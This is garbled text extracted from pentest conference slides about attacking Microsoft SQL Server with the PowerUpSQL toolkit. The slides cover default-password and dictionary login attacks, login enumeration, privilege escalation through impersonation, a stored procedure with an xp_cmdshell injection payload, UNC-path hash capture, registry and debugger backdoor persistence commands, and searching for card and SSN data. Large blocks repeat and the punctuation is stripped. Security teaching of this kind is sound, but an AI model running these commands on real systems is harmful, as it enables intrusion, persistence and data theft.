2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
EscalatingPrivileges
Unauthenticated Domain User to SQL Login
Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers
Attacker Perspective Attack Technique
Unauthenticated Dictionary attacks using common user names and passwords
Unauthenticated Default passwords based on the SQL Server instance names
Local Windows or ADS Domain Account
Attempt to login using the current account
Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins
Attack Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Get-SQLServerLoginDefaultPw
Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Testing Login Access PowerUpSQL CMDs
Testing Login Access Login CMD Examples
Attacker Perspective
Command Example
Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass
Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose
Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
AlternativeDomain User
runas noprofile netonly userdomainuser PowerShellexe
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
Testing Login Access Reusing Result Lists
Process Command Example
Enumerate Accessible Servers
$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo
Get server information $Acessible | Get-SQLServerInfo -Verbose
Get database list $Acessible | Get-SQLDatabase -Verbose
Perform audit $Acessible | Invoke-SQLAudit -Verbose
Do I have to rerun instance discovery every time I want to run a command No
Testing Login Access Domain User Access
DEMO
Testing Login Access Demo
DEMO
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers
Attacker Perspective Attack Technique
Unauthenticated Dictionary attacks using common user names and passwords
Unauthenticated Default passwords based on the SQL Server instance names
Local Windows or ADS Domain Account
Attempt to login using the current account
Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins
Attack Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Get-SQLServerLoginDefaultPw
Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Testing Login Access PowerUpSQL CMDs
Testing Login Access Login CMD Examples
Attacker Perspective
Command Example
Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass
Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose
Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
AlternativeDomain User
runas noprofile netonly userdomainuser PowerShellexe
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
Testing Login Access Reusing Result Lists
Process Command Example
Enumerate Accessible Servers
$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo
Get server information $Acessible | Get-SQLServerInfo -Verbose
Get database list $Acessible | Get-SQLDatabase -Verbose
Perform audit $Acessible | Invoke-SQLAudit -Verbose
Do I have to rerun instance discovery every time I want to run a command No
Testing Login Access Domain User Access
DEMO
Testing Login Access Demo
DEMO
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
